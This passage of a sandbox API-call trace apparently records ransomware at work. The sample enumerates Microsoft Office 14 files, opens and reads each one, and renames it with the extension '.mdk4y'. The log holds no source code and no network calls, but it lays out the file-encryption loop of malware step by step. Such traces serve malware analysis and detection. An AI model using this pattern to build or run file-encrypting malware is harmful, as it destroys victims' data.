lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.882] AreFileApisANSI () returned 1 [0190.882] GetACP () returned 0x4e4 [0190.882] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSACCESS.DEV_K_COL.HXK", cchWideChar=22, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSACCESS.DEV_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 22 [0190.882] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.882] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826611200000) returned 1 [0190.883] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x71, lpOverlapped=0x0) returned 1 [0190.883] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826611300000) returned 1 [0190.883] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826611300000) returned 1 [0190.884] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk.mdk4y")) returned 1 [0190.884] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.884] AreFileApisANSI () returned 1 [0190.884] GetACP () returned 0x4e4 [0190.884] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSACCESS.HXS", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSACCESS.HXS_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 12 [0190.884] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.885] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826611500000) returned 1 [0190.885] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0190.905] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826613500000) returned 1 [0190.905] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826613500000) returned 1 [0190.913] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs.mdk4y")) returned 1 [0190.914] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.914] AreFileApisANSI () returned 1 [0190.914] GetACP () returned 0x4e4 [0190.914] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSACCESS_COL.HXC", cchWideChar=16, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSACCESS_COL.HXCOL.HXK", lpUsedDefaultChar=0x37df4c) returned 16 [0190.914] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.915] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826614500000) returned 1 [0190.915] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x27c, lpOverlapped=0x0) returned 1 [0190.938] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826616800000) returned 1 [0190.938] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826616800000) returned 1 [0190.938] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc.mdk4y")) returned 1 [0190.941] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.941] AreFileApisANSI () returned 1 [0190.941] GetACP () returned 0x4e4 [0190.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSACCESS_COL.HXT", cchWideChar=16, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSACCESS_COL.HXT", lpUsedDefaultChar=0x37df4c) returned 16 [0190.941] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.942] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826617200000) returned 1 [0190.942] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd0, lpOverlapped=0x0) returned 1 [0190.942] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826617200000) returned 1 [0190.942] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826617200000) returned 1 [0190.943] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt.mdk4y")) returned 1 [0190.943] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.943] AreFileApisANSI () returned 1 [0190.943] GetACP () returned 0x4e4 [0190.943] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSACCESS_F_COL.HXK", cchWideChar=18, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSACCESS_F_COL.HXK.HXK", lpUsedDefaultChar=0x37df4c) returned 18 [0190.943] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.944] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826617400000) returned 1 [0190.944] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x72, lpOverlapped=0x0) returned 1 [0190.945] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826617500000) returned 1 [0190.945] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826617500000) returned 1 [0190.945] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk.mdk4y")) returned 1 [0190.946] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.946] AreFileApisANSI () returned 1 [0190.946] GetACP () returned 0x4e4 [0190.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSACCESS_K_COL.HXK", cchWideChar=18, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSACCESS_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 18 [0190.946] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.946] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826617600000) returned 1 [0190.947] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x71, lpOverlapped=0x0) returned 1 [0190.947] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826617700000) returned 1 [0190.947] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826617700000) returned 1 [0190.948] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk.mdk4y")) returned 1 [0190.948] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.948] AreFileApisANSI () returned 1 [0190.948] GetACP () returned 0x4e4 [0190.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSAIN.DLL", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSAIN.DLLK_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 9 [0190.948] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msain.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.949] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826617900000) returned 1 [0190.949] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0190.979] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826620900000) returned 1 [0190.979] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826620900000) returned 1 [0191.016] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msain.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msain.dll.mdk4y")) returned 1 [0191.017] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.017] AreFileApisANSI () returned 1 [0191.017] GetACP () returned 0x4e4 [0191.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSO.ACL", cchWideChar=7, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSO.ACLLL", lpUsedDefaultChar=0x37df4c) returned 7 [0191.017] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.021] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826625100000) returned 1 [0191.021] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9382, lpOverlapped=0x0) returned 1 [0191.023] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826625300000) returned 1 [0191.023] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826625300000) returned 1 [0191.023] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl.mdk4y")) returned 1 [0191.024] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.024] AreFileApisANSI () returned 1 [0191.024] GetACP () returned 0x4e4 [0191.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSOUC.HXS", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSOUC.HXS", lpUsedDefaultChar=0x37df4c) returned 9 [0191.025] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.025] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826625500000) returned 1 [0191.025] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x69560, lpOverlapped=0x0) returned 1 [0191.089] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826631900000) returned 1 [0191.089] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826631900000) returned 1 [0191.093] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs.mdk4y")) returned 1 [0191.094] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.094] AreFileApisANSI () returned 1 [0191.094] GetACP () returned 0x4e4 [0191.094] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSOUC_COL.HXC", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSOUC_COL.HXCL.HXK", lpUsedDefaultChar=0x37df4c) returned 13 [0191.094] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.095] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826632500000) returned 1 [0191.095] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x26d, lpOverlapped=0x0) returned 1 [0191.119] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826634900000) returned 1 [0191.119] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826634900000) returned 1 [0191.119] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc.mdk4y")) returned 1 [0191.121] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.121] AreFileApisANSI () returned 1 [0191.121] GetACP () returned 0x4e4 [0191.121] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSOUC_COL.HXT", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSOUC_COL.HXT", lpUsedDefaultChar=0x37df4c) returned 13 [0191.121] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.122] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826635200000) returned 1 [0191.123] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcd, lpOverlapped=0x0) returned 1 [0191.124] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826635400000) returned 1 [0191.124] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826635400000) returned 1 [0191.124] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt.mdk4y")) returned 1 [0191.125] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.125] AreFileApisANSI () returned 1 [0191.125] GetACP () returned 0x4e4 [0191.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSOUC_F_COL.HXK", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSOUC_F_COL.HXKHXK", lpUsedDefaultChar=0x37df4c) returned 15 [0191.126] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.127] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826635700000) returned 1 [0191.127] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x72, lpOverlapped=0x0) returned 1 [0191.128] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826635800000) returned 1 [0191.128] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826635800000) returned 1 [0191.128] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk.mdk4y")) returned 1 [0191.129] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.129] AreFileApisANSI () returned 1 [0191.129] GetACP () returned 0x4e4 [0191.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSOUC_K_COL.HXK", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSOUC_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 15 [0191.130] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.131] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826636100000) returned 1 [0191.131] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x71, lpOverlapped=0x0) returned 1 [0191.131] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826636100000) returned 1 [0191.131] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826636100000) returned 1 [0191.132] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk.mdk4y")) returned 1 [0191.133] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.164] AreFileApisANSI () returned 1 [0191.164] GetACP () returned 0x4e4 [0191.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPUB.DEV.HXS", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSPUB.DEV.HXSXK", lpUsedDefaultChar=0x37df4c) returned 13 [0191.164] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.165] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826639600000) returned 1 [0191.166] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0191.198] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826642800000) returned 1 [0191.198] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826642800000) returned 1 [0191.237] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs.mdk4y")) returned 1 [0191.239] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.239] AreFileApisANSI () returned 1 [0191.239] GetACP () returned 0x4e4 [0191.239] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPUB.DEV_COL.HXC", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSPUB.DEV_COL.HXCK", lpUsedDefaultChar=0x37df4c) returned 17 [0191.239] CreateFileA 